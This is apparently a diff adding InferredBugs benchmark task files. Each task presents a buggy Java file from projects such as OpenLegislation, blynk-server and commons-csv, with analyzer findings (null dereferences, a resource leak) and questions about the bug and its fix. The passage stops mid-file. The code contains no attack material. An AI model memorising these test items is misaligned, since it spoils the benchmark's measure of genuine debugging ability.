+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6346/instruction.md b/inferredbugs-6346/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bf3708b6f1158a98d995eba9a813b4764f24f0b6
--- /dev/null
+++ b/inferredbugs-6346/instruction.md
@@ -0,0 +1,357 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** OpenLegislation
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package gov.nysenate.openleg.qa;
+
+import gov.nysenate.openleg.model.bill.Bill;
+import gov.nysenate.openleg.model.bill.BillEvent;
+import gov.nysenate.openleg.model.bill.Person;
+import gov.nysenate.openleg.util.SessionYear;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.URL;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+
+import org.apache.log4j.Logger;
+
+public class LRSConnect {
+	
+	public static void main(String[] args) throws IOException {
+		LRSConnect l = LRSConnect.getInstance();
+		
+		System.out.println(l.getLbdcBill("s1234-2011").getSummary());
+		System.out.println(l.getLbdcBill("s2008-2011").getSummary());
+		System.out.println(l.getLbdcBill("s1-2011"));
+	}
+	
+	private static final String KEY_URL = "http://public.leginfo.state.ny.us/menugetf.cgi";
+	private static final String BASE_URL = "http://public.leginfo.state.ny.us/bstfrmef.cgi?";
+	private static final String QUERY_TYPE = "QUERYTYPE=BILLNO";
+	private static final String SESSION_YEAR = "&SESSYR=";
+	private static final String QUERY_DATA = "&QUERYDATA=";
+	private static final String QQ_DATA = "&QQDATA=";
+	private static final String GET_SEL = "&GETSEL=";
+	private static final String LST = "&LST=";
+	private static final String BROWSER = "&BROWSER=Netscape";
+	private static final String TOKEN = "&TOKEN=";
+	private static final String SELECT = "&SELECT=TEXT++&SELECT=STATUS++&SELECT=SPMEMO++&SELECT=SUMMARY++&SELECT=HISTORY";
+	
+	private static Logger logger = Logger.getLogger(LRSConnect.class);
+	
+	private final String key;
+	
+	public static LRSConnect getInstance() {
+		String key = getInstanceKey();
+		
+		if(key == null)
+			return null;
+		else
+			return new LRSConnect(key);
+	}
+	
+	private LRSConnect(String key) {
+		this.key = key;
+	}
+	
+	public String getKey() {
+		return key;
+	}
+	
+	public String queryBill(String billNumber) {
+		if(billNumber.indexOf("-") != -1) {
+			String[] parts = billNumber.split("-");
+			return constructUrl(parts[0], parts[1]);
+		}
+		return constructUrl(billNumber, SessionYear.getSessionYear() + "");
+	}
+	
+	public String queryBill(String billNumber, String year) {
+		return constructUrl(billNumber, year);
+	}
+		
+	private String constructUrl(String billNumber, String year) {
+		return BASE_URL + QUERY_TYPE + SESSION_YEAR + year 
+						+ QUERY_DATA + billNumber + QQ_DATA 
+						+ billNumber + GET_SEL + LST + BROWSER 
+						+ TOKEN + this.key + SELECT;
+	}
+	
+	public Bill getLbdcBill(String billNumber) throws IOException {
+		if(billNumber.indexOf("0") == -1)
+			return getLbdcBill(billNumber, SessionYear.getSessionYear()+"");
+		else {
+			String[] strings = billNumber.split("-");
+			return getLbdcBill(strings[0], strings[1]);
+		}
+	}
+	
+	public Bill getLbdcBill(String billNo, String year) throws IOException {
+		BufferedReader br = new BufferedReader(
+				new InputStreamReader(
+						new URL(this.constructUrl(billNo, year)).openStream()));
+		
+		String in = null;
+		
+		String status = null;
+		String summary = null;
+		String text = null;
+		String memo = null;
+				
+		while((in = br.readLine()) != null) {
+			if(in.contains("<B>STATUS:</B>")) {
+				status = "";
+			}
+			else if(in.contains("<B>SUMMARY:</B>")) {
+				summary = "";
+			}
+			else if(in.contains("<B>BILL TEXT:</B>")) {
+				text = "";
+			}
+			else if(in.contains("<B>SPONSORS MEMO:</B>")) {
+				memo = "";
+			}
+			
+			if(memo != null) {
+				memo += in;
+			}
+			else if(text != null) {
+				text += in;
+			}
+			else if(summary != null) {
+				summary += in;
+			}
+			else if(status != null) {
+				status += in;
+			}
+		}
+		br.close();
+		
+		Bill bill = new Bill();
+		bill.setSenateBillNo(bill + "-" + year);
+		
+		if(parseStatus(status, bill)
+				&& parseSummary(summary, bill)
+				&& parseText(text, bill)
+				&& parseMemo(memo, bill)) {
+			//success
+			
+			return bill;
+		}
+		else {
+			return null;
+		}
+	}
+	
+	public boolean parseStatus(String status, Bill bill) {
+		if(status == null)
+			return false;
+		
+		status = status.replaceAll("(?i)<br>","\n")
+			.replaceAll("&nbsp;"," ")
+			.replaceAll("(?i)(</?tr.*?>)", "\n\t$1")
+			.replaceAll("(?i)<td>(.*?)</td>","\n\t\t$1")
+			.replaceAll("(?i)</?(meta|html|table|a|th|body|hr|tr|td|font|b|strong).*?>","")
+			.replaceAll("(\t|\n|\\s){2,}","\n")
+			.replaceAll("No Same as","No Same as\nNo Same as Sponsor");
+	
+		if(status.contains("Bill Status Information Not Found"))
+			return false;
+		
+		String strings[] = status.split("\n");
+		
+		bill.setSponsor(new Person(strings[2]));		
+		
+		String sameAsBillNo = strings[3].replaceAll("(Same as| |\\-)","");
+		bill.setSameAs(sameAsBillNo);
+		
+		bill.setLawSection(strings[5]);
+		
+		String title = strings[6].replace("TITLE....","");
+		bill.setTitle(title);
+		
+		SimpleDateFormat sdf = new SimpleDateFormat("MM/dd/yy");
+		for(int i = 7; i < strings.length;) {
+			if(strings[i].matches("\\d{2}/\\d{2}/\\d{2}")) {
+				BillEvent be = new BillEvent();
+				try {
+					
+					be.setEventDate(sdf.parse(strings[i]));
+					i++;
+					be.setEventText(strings[i]);
+					
+					bill.addBillEvent(be);
+				} catch (ParseException e) {
+					logger.error(e);
+				}
+				i++;
+			}
+			else {
+				if(strings[i].charAt(0) == sameAsBillNo.charAt(0)) {
+					i += 2;
+					while(strings[i].matches("\\d{2}/\\d{2}/\\d{2}")) {
+						i += 2;
+					}
+					i += 2;
+				}
+				else {
+					break;
+				}
+			}
+		}		
+		return true;
+	}
+	
+	public boolean parseSummary(String summary, Bill bill) {
+		if(summary == null)
+			return false;
+		
+		summary = summary.replaceAll("(?i)<br>","\n")
+			.replaceAll("(?i)</?(hr|b).*?>","")
+			.replaceAll("(\t|\n|\\s){2,}","\n");
+		
+		if(summary.contains("Bill Summary Information Not Available"))
+			return false;
+		
+		String[] strings = summary.split("\n");
+		
+		bill.setSummary(strings[3]);
+		
+		return true;
+	}
+	
+	public boolean parseText(String text, Bill bill) {
+		if(text == null)
+			return false;
+			
+		text = text.replaceAll("(?i)<br>","\n")
+			.replaceAll("(?i)</?(hr|b|html|head|style|title|basefont|font|pre|u|!\\-\\-).*?>","");
+
+		String[] strings = text.split("\n");
+		
+		bill.setFulltext(strings[1]);
+		
+		return true;
+	}
+	
+	public boolean parseMemo(String memo, Bill bill) {
+		if(memo == null)
+			return false;
+		
+		memo = memo.replaceAll("&nbsp;", "").replaceAll("(?i)<br>","\n")
+			.replaceAll("&nbsp","")
+			.replaceAll("(?i)</?(hr|b|html|head|style|title|basefont|font|pre|u|center|!\\-\\-).*?>","");
+	
+		if(memo.contains("Memo Text Not Found"))
+			return false;
+		
+		String[] strings = memo.split("\n");
+		
+		bill.setMemo(strings[5]);
+		
+		return true;
+	}
+	
+	private static String getInstanceKey() {
+		String key = null;
+		
+		try {
+			BufferedReader br = new BufferedReader(new InputStreamReader(new URL(KEY_URL).openStream()));
+			
+			Pattern tokenPattern = Pattern.compile("<FRAME NAME=\"TOP\" src=\"frmload.cgi\\?TOP-(\\d+)\">");
+			Matcher tokenMatcher = null;
+			
+			String in = null;
+			
+			while((in = br.readLine()) != null) {
+				
+				tokenMatcher = tokenPattern.matcher(in);
+				
+				if(tokenMatcher.find()) {
+					key = tokenMatcher.group(1);
+				}
+			}
+			br.close();
+		}
+		catch (IOException ioe) {
+			logger.error(ioe);
+		}
+		
+		return key;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `l` last assigned on line 22 could be null and is dereferenced at line 24.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void LRSConnect.main(java.lang.String[])
+
+### Procedure Id:
+gov.nysenate.openleg.qa.LRSConnect.main(java.lang.String[]):void.b9122a778ed48d3f3b3997d1f4687190
+
+### File:
+src/main/java/gov/nysenate/openleg/qa/LRSConnect.java
+
+### Key:
+LRSConnect.java|main|NULL_DEREFERENCE
+
+### Node Key:
+518e186ffce84ce33052e851bc5427a0
+
+### Hash:
+1087a545a5cd6baf93f5bbdfe1c1bfa4
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6379/instruction.md b/inferredbugs-6379/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2d24161d1ac737ec82c09fb6aa49a9f7f386b163
--- /dev/null
+++ b/inferredbugs-6379/instruction.md
@@ -0,0 +1,293 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** blynk-server
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cc.blynk.server.workers;
+
+import cc.blynk.server.core.dao.ReportingDao;
+import cc.blynk.server.core.model.enums.GraphType;
+import cc.blynk.server.core.model.enums.PinType;
+import cc.blynk.server.core.reporting.average.AggregationKey;
+import cc.blynk.server.core.reporting.average.AggregationValue;
+import cc.blynk.server.core.reporting.average.AverageAggregator;
+import cc.blynk.server.db.DBManager;
+import cc.blynk.utils.ReportingUtil;
+import cc.blynk.utils.ServerProperties;
+import org.apache.commons.io.FileUtils;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.runners.MockitoJUnitRunner;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.concurrent.ConcurrentHashMap;
+
+import static cc.blynk.server.core.dao.ReportingDao.*;
+import static cc.blynk.utils.ReportingUtil.*;
+import static org.junit.Assert.*;
+import static org.mockito.Mockito.*;
+
+/**
+ * The Blynk Project.
+ * Created by Dmitriy Dumanskiy.
+ * Created on 11.08.15.
+ */
+@RunWith(MockitoJUnitRunner.class)
+public class StorageWorkerTest {
+
+    private final String reportingFolder = getReportingFolder(System.getProperty("java.io.tmpdir"));
+
+    @Mock
+    public AverageAggregator averageAggregator;
+
+    @Mock
+    public ServerProperties properties;
+
+    @Before
+    public void cleanup() throws IOException {
+        Path dataFolder1 = Paths.get(reportingFolder, "test");
+        FileUtils.deleteDirectory(dataFolder1.toFile());
+        ReportingUtil.createReportingFolder(reportingFolder, "test");
+
+        Path dataFolder2 = Paths.get(reportingFolder, "test2");
+        FileUtils.deleteDirectory(dataFolder2.toFile());
+        ReportingUtil.createReportingFolder(reportingFolder, "test2");
+    }
+
+    @Test
+    public void testStore() throws IOException {
+        StorageWorker storageWorker = new StorageWorker(averageAggregator, reportingFolder, new DBManager(null));
+
+        ConcurrentHashMap<AggregationKey, AggregationValue> map = new ConcurrentHashMap<>();
+
+        long ts = getTS() / AverageAggregator.HOUR;
+
+        AggregationKey aggregationKey = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts);
+        AggregationValue aggregationValue = new AggregationValue();
+        aggregationValue.update(100);
+        AggregationKey aggregationKey2 = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts - 1);
+        AggregationValue aggregationValue2 = new AggregationValue();
+        aggregationValue2.update(150.54);
+        AggregationKey aggregationKey3 = new AggregationKey("test2", 2, PinType.ANALOG, (byte) 2, ts);
+        AggregationValue aggregationValue3 = new AggregationValue();
+        aggregationValue3.update(200);
+
+        map.put(aggregationKey, aggregationValue);
+        map.put(aggregationKey2, aggregationValue2);
+        map.put(aggregationKey3, aggregationValue3);
+
+        when(averageAggregator.getMinute()).thenReturn(new ConcurrentHashMap<>());
+        when(averageAggregator.getHourly()).thenReturn(map);
+        when(averageAggregator.getDaily()).thenReturn(new ConcurrentHashMap<>());
+
+        storageWorker.run();
+
+        assertTrue(Files.exists(Paths.get(reportingFolder, "test", generateFilename(1, PinType.ANALOG, (byte) 1, GraphType.HOURLY))));
+        assertTrue(Files.exists(Paths.get(reportingFolder, "test2", generateFilename(2, PinType.ANALOG, (byte) 2, GraphType.HOURLY))));
+
+        byte[] data = ReportingDao.getAllFromDisk(reportingFolder, "test", 1, PinType.ANALOG, (byte) 1, 2, GraphType.HOURLY);
+        ByteBuffer byteBuffer = ByteBuffer.wrap(data);
+        assertNotNull(data);
+        assertEquals(32, data.length);
+
+        assertEquals(150.54, byteBuffer.getDouble(), 0.001);
+        assertEquals((ts - 1) * AverageAggregator.HOUR, byteBuffer.getLong());
+
+        assertEquals(100.0, byteBuffer.getDouble(), 0.001);
+        assertEquals(ts * AverageAggregator.HOUR, byteBuffer.getLong());
+
+        data = ReportingDao.getAllFromDisk(reportingFolder, "test2", 2, PinType.ANALOG, (byte) 2, 1, GraphType.HOURLY);
+        byteBuffer = ByteBuffer.wrap(data);
+        assertNotNull(data);
+        assertEquals(16, data.length);
+        assertEquals(200.0, byteBuffer.getDouble(), 0.001);
+        assertEquals(ts * AverageAggregator.HOUR, byteBuffer.getLong());
+    }
+
+    @Test
+    public void testStore2() throws IOException {
+        StorageWorker storageWorker = new StorageWorker(averageAggregator, reportingFolder, new DBManager(null));
+
+        ConcurrentHashMap<AggregationKey, AggregationValue> map = new ConcurrentHashMap<>();
+
+        long ts = getTS() / AverageAggregator.HOUR;
+
+        AggregationKey aggregationKey = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts);
+        AggregationValue aggregationValue = new AggregationValue();
+        aggregationValue.update(100);
+        AggregationKey aggregationKey2 = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts - 1);
+        AggregationValue aggregationValue2 = new AggregationValue();
+        aggregationValue2.update(150.54);
+        AggregationKey aggregationKey3 = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts - 2);
+        AggregationValue aggregationValue3 = new AggregationValue();
+        aggregationValue3.update(200);
+
+        map.put(aggregationKey, aggregationValue);
+        map.put(aggregationKey2, aggregationValue2);
+        map.put(aggregationKey3, aggregationValue3);
+
+        when(averageAggregator.getMinute()).thenReturn(new ConcurrentHashMap<>());
+        when(averageAggregator.getHourly()).thenReturn(map);
+        when(averageAggregator.getDaily()).thenReturn(new ConcurrentHashMap<>());
+
+        storageWorker.run();
+
+        assertTrue(Files.exists(Paths.get(reportingFolder, "test", generateFilename(1, PinType.ANALOG, (byte) 1, GraphType.HOURLY))));
+
+        //take less
+        byte[] data = ReportingDao.getAllFromDisk(reportingFolder, "test", 1, PinType.ANALOG, (byte) 1, 1, GraphType.HOURLY);
+        ByteBuffer byteBuffer = ByteBuffer.wrap(data);
+        assertNotNull(data);
+        assertEquals(16, data.length);
+
+        assertEquals(100.0, byteBuffer.getDouble(), 0.001);
+        assertEquals(ts * AverageAggregator.HOUR, byteBuffer.getLong());
+
+
+        //take more
+        data = ReportingDao.getAllFromDisk(reportingFolder, "test", 1, PinType.ANALOG, (byte) 1, 24, GraphType.HOURLY);
+        byteBuffer = ByteBuffer.wrap(data);
+        assertNotNull(data);
+        assertEquals(48, data.length);
+
+        assertEquals(200.0, byteBuffer.getDouble(), 0.001);
+        assertEquals((ts - 2) * AverageAggregator.HOUR, byteBuffer.getLong());
+
+        assertEquals(150.54, byteBuffer.getDouble(), 0.001);
+        assertEquals((ts - 1) * AverageAggregator.HOUR, byteBuffer.getLong());
+
+        assertEquals(100.0, byteBuffer.getDouble(), 0.001);
+        assertEquals(ts * AverageAggregator.HOUR, byteBuffer.getLong());
+    }
+
+
+    @Test
+    public void testDeleteCommand() throws IOException {
+        StorageWorker storageWorker = new StorageWorker(averageAggregator, reportingFolder, new DBManager(null));
+
+        ConcurrentHashMap<AggregationKey, AggregationValue> map = new ConcurrentHashMap<>();
+
+        long ts = getTS() / AverageAggregator.HOUR;
+
+        AggregationKey aggregationKey = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts);
+        AggregationValue aggregationValue = new AggregationValue();
+        aggregationValue.update(100);
+        AggregationKey aggregationKey2 = new AggregationKey("test", 1, PinType.ANALOG, (byte) 1, ts - 1);
+        AggregationValue aggregationValue2 = new AggregationValue();
+        aggregationValue2.update(150.54);
+        AggregationKey aggregationKey3 = new AggregationKey("test2", 2, PinType.ANALOG, (byte) 2, ts);
+        AggregationValue aggregationValue3 = new AggregationValue();
+        aggregationValue3.update(200);
+
+        map.put(aggregationKey, aggregationValue);
+        map.put(aggregationKey2, aggregationValue2);
+        map.put(aggregationKey3, aggregationValue3);
+
+        when(averageAggregator.getMinute()).thenReturn(new ConcurrentHashMap<>());
+        when(averageAggregator.getHourly()).thenReturn(map);
+        when(averageAggregator.getDaily()).thenReturn(new ConcurrentHashMap<>());
+        when(properties.getProperty("data.folder")).thenReturn(System.getProperty("java.io.tmpdir"));
+
+        storageWorker.run();
+
+        assertTrue(Files.exists(Paths.get(reportingFolder, "test", generateFilename(1, PinType.ANALOG, (byte) 1, GraphType.HOURLY))));
+        assertTrue(Files.exists(Paths.get(reportingFolder, "test2", generateFilename(2, PinType.ANALOG, (byte) 2, GraphType.HOURLY))));
+
+        new ReportingDao(reportingFolder, null, properties).delete("test", 1, PinType.ANALOG, (byte) 1);
+        assertFalse(Files.exists(Paths.get(reportingFolder, "test", generateFilename(1, PinType.ANALOG, (byte) 1, GraphType.HOURLY))));
+    }
+
+    private long getTS() {
+        SimpleDateFormat formatter = new SimpleDateFormat("MMM dd, yyyy HH:mm:ss");
+        String dateInString = "Aug 10, 2015 12:10:56";
+
+        try {
+
+            Date date = formatter.parse(dateInString);
+            return date.getTime();
+        } catch (ParseException e) {
+            e.printStackTrace();
+        }
+
+        return 0;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zaxxer.hikari.HikariDataSource` acquired by call to `DBManager(...)` at line 170 is not released after line 195.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StorageWorkerTest.testDeleteCommand()
+
+### Procedure Id:
+cc.blynk.server.workers.StorageWorkerTest.testDeleteCommand():void.997d17f6c57378ae7b1be51820da4ae0
+
+### File:
+server/launcher/src/test/java/cc/blynk/server/workers/StorageWorkerTest.java
+
+### Key:
+StorageWorkerTest.java|testDeleteCommand|RESOURCE_LEAK
+
+### Node Key:
+f748d9ffd849bf00ecfc267a3683e52c
+
+### Hash:
+9237c8a8fa6d16a81afd5c7914261b96
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6384/instruction.md b/inferredbugs-6384/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f76b59c33c853be3096b50039faa7212ec746df5
--- /dev/null
+++ b/inferredbugs-6384/instruction.md
@@ -0,0 +1,214 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** blynk-server
+**Bug ID:** 36
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cc.blynk.server.workers;
+
+import cc.blynk.server.core.dao.ReportingDao;
+import cc.blynk.server.core.dao.UserDao;
+import cc.blynk.server.core.model.DashBoard;
+import cc.blynk.server.core.model.DataStream;
+import cc.blynk.server.core.model.auth.User;
+import cc.blynk.server.core.model.widgets.Target;
+import cc.blynk.server.core.model.widgets.Widget;
+import cc.blynk.server.core.model.widgets.outputs.HistoryGraph;
+import cc.blynk.server.core.model.widgets.outputs.graph.EnhancedHistoryGraph;
+import cc.blynk.server.core.model.widgets.outputs.graph.GraphDataStream;
+import cc.blynk.server.core.model.widgets.outputs.graph.GraphGranularityType;
+import cc.blynk.server.core.model.widgets.ui.tiles.DeviceTiles;
+import cc.blynk.server.core.model.widgets.ui.tiles.TileTemplate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Daily job used to clean reporting data that is not used by the history graphs
+ * but stored anyway on the disk.
+ *
+ * The Blynk Project.
+ * Created by Dmitriy Dumanskiy.
+ * Created on 04.01.18.
+ */
+public class HistoryGraphUnusedPinDataCleanerWorker implements Runnable {
+
+    private static final Logger log = LogManager.getLogger(HistoryGraphUnusedPinDataCleanerWorker.class);
+
+    private final UserDao userDao;
+    private final ReportingDao reportingDao;
+
+    private long lastStart;
+
+    public HistoryGraphUnusedPinDataCleanerWorker(UserDao userDao, ReportingDao reportingDao) {
+        this.userDao = userDao;
+        this.reportingDao = reportingDao;
+        this.lastStart = System.currentTimeMillis();
+
+    }
+
+    @Override
+    public void run() {
+        try {
+            log.info("Start removing unused reporting data...");
+
+            long now = System.currentTimeMillis();
+            //todo
+            //actually, it is better to do not save data for such pins
+            //but fow now this approach is simpler and quicker
+            int result = removeUnsedInHistoryGraphData();
+
+            lastStart = now;
+
+            log.info("Removed {} files. Time : {} ms.", result, System.currentTimeMillis() - now);
+        } catch (Throwable t) {
+            log.error("Error removing unused reporting data.", t);
+        }
+    }
+
+    private int removeUnsedInHistoryGraphData() {
+        int removedFilesCounter = 0;
+        Set<String> doNotRemovePaths = new HashSet<>();
+
+        for (User user : userDao.getUsers().values()) {
+            //we don't want to do a lot of work here,
+            //so we check only active profiles that actually write data
+            if (user.isUpdated(lastStart)) {
+                doNotRemovePaths.clear();
+                try {
+                    for (DashBoard dashBoard : user.profile.dashBoards) {
+                        for (Widget widget : dashBoard.widgets) {
+                            if (widget instanceof DeviceTiles) {
+                                DeviceTiles deviceTiles = (DeviceTiles) widget;
+                                for (TileTemplate tileTemplate : deviceTiles.templates) {
+                                    for (Widget tilesWidget : tileTemplate.widgets) {
+                                        add(doNotRemovePaths, dashBoard, tilesWidget);
+                                    }
+                                }
+                            } else {
+                                add(doNotRemovePaths, dashBoard, widget);
+                            }
+                        }
+                    }
+
+                    removedFilesCounter += reportingDao.delete(user,
+                            reportingFile -> !doNotRemovePaths.contains(reportingFile.getFileName().toString()));
+                } catch (Exception e) {
+                    log.error("Error cleaning reporting record for user {}. {}", user.email, e.getMessage());
+                }
+            }
+        }
+        return removedFilesCounter;
+    }
+
+    private static void add(Set<String> doNotRemovePaths, DashBoard dash, Widget widget) {
+        if (widget instanceof HistoryGraph) {
+            HistoryGraph historyGraph = (HistoryGraph) widget;
+            add(doNotRemovePaths, dash.id, historyGraph);
+        } else if (widget instanceof EnhancedHistoryGraph) {
+            EnhancedHistoryGraph enhancedHistoryGraph = (EnhancedHistoryGraph) widget;
+            add(doNotRemovePaths, dash, enhancedHistoryGraph);
+        }
+    }
+
+    private static void add(Set<String> doNotRemovePaths, DashBoard dash, EnhancedHistoryGraph graph) {
+        for (GraphDataStream graphDataStream : graph.dataStreams) {
+            if (graphDataStream != null && graphDataStream.dataStream != null && graphDataStream.dataStream.isValid()) {
+                DataStream dataStream = graphDataStream.dataStream;
+                Target target = dash.getTarget(graphDataStream.targetId);
+                for (int deviceId : target.getAssignedDeviceIds()) {
+                    for (GraphGranularityType type : GraphGranularityType.values()) {
+                        String filename = ReportingDao.generateFilename(dash.id,
+                                deviceId,
+                                dataStream.pinType.pintTypeChar, dataStream.pin, type.label);
+                        doNotRemovePaths.add(filename);
+                    }
+                }
+            }
+        }
+    }
+
+    //todo history graph is only for back compatibility and should be removed in future
+    private static void add(Set<String> doNotRemovePaths, int dashId, HistoryGraph graph) {
+        for (DataStream dataStream : graph.dataStreams) {
+            if (dataStream.isValid()) {
+                for (GraphGranularityType type : GraphGranularityType.values()) {
+                    String filename = ReportingDao.generateFilename(dashId, graph.deviceId,
+                            dataStream.pinType.pintTypeChar, dataStream.pin, type.label);
+                    doNotRemovePaths.add(filename);
+                }
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `target` last assigned on line 114 could be null and is dereferenced at line 115.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void HistoryGraphUnusedPinDataCleanerWorker.add(Set,DashBoard,EnhancedHistoryGraph)
+
+### Procedure Id:
+cc.blynk.server.workers.HistoryGraphUnusedPinDataCleanerWorker.add(java.util.Set,cc.blynk.server.cor.a9a5e452892d3a140dd9b06590d186f6
+
+### File:
+server/launcher/src/main/java/cc/blynk/server/workers/HistoryGraphUnusedPinDataCleanerWorker.java
+
+### Key:
+HistoryGraphUnusedPinDataCleanerWorker.java|add|NULL_DEREFERENCE
+
+### Node Key:
+50cb5ef8465ad6b6a77b806e5d8dd53e
+
+### Hash:
+7c26ad592d99660923cddc10f81034df
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6400/instruction.md b/inferredbugs-6400/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c0b3391146207a45a5ee374d8e5eecdc958f8d90
--- /dev/null
+++ b/inferredbugs-6400/instruction.md
@@ -0,0 +1,400 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 61
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.junit.Assert.assertEquals;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+
+import org.junit.Test;
+
+/**
+ * 
+ * 
+ * @version $Id$
+ */
+public class CSVPrinterTest {
+
+    public static String printable(final String s) {
+        final StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < s.length(); i++) {
+            final char ch = s.charAt(i);
+            if (ch <= ' ' || ch >= 128) {
+                sb.append("(").append((int) ch).append(")");
+            } else {
+                sb.append(ch);
+            }
+        }
+        return sb.toString();
+    }
+
+    String recordSeparator = CSVFormat.DEFAULT.getRecordSeparator();
+
+    public void doOneRandom(final CSVFormat format) throws Exception {
+        final Random r = new Random();
+
+        final int nLines = r.nextInt(4) + 1;
+        final int nCol = r.nextInt(3) + 1;
+        // nLines=1;nCol=2;
+        final String[][] lines = new String[nLines][];
+        for (int i = 0; i < nLines; i++) {
+            final String[] line = new String[nCol];
+            lines[i] = line;
+            for (int j = 0; j < nCol; j++) {
+                line[j] = randStr();
+            }
+        }
+
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, format);
+
+        for (int i = 0; i < nLines; i++) {
+            // for (int j=0; j<lines[i].length; j++) System.out.println("### VALUE=:" + printable(lines[i][j]));
+            printer.printRecord((Object[])lines[i]);
+        }
+
+        printer.flush();
+        printer.close();
+        final String result = sw.toString();
+        // System.out.println("### :" + printable(result));
+
+        final CSVParser parser = new CSVParser(result, format);
+        final List<CSVRecord> parseResult = parser.getRecords();
+
+        Utils.compare("Printer output :" + printable(result), lines, parseResult);
+    }
+
+    public void doRandom(final CSVFormat format, final int iter) throws Exception {
+        for (int i = 0; i < iter; i++) {
+            doOneRandom(format);
+        }
+    }
+
+    public String randStr() {
+        final Random r = new Random();
+
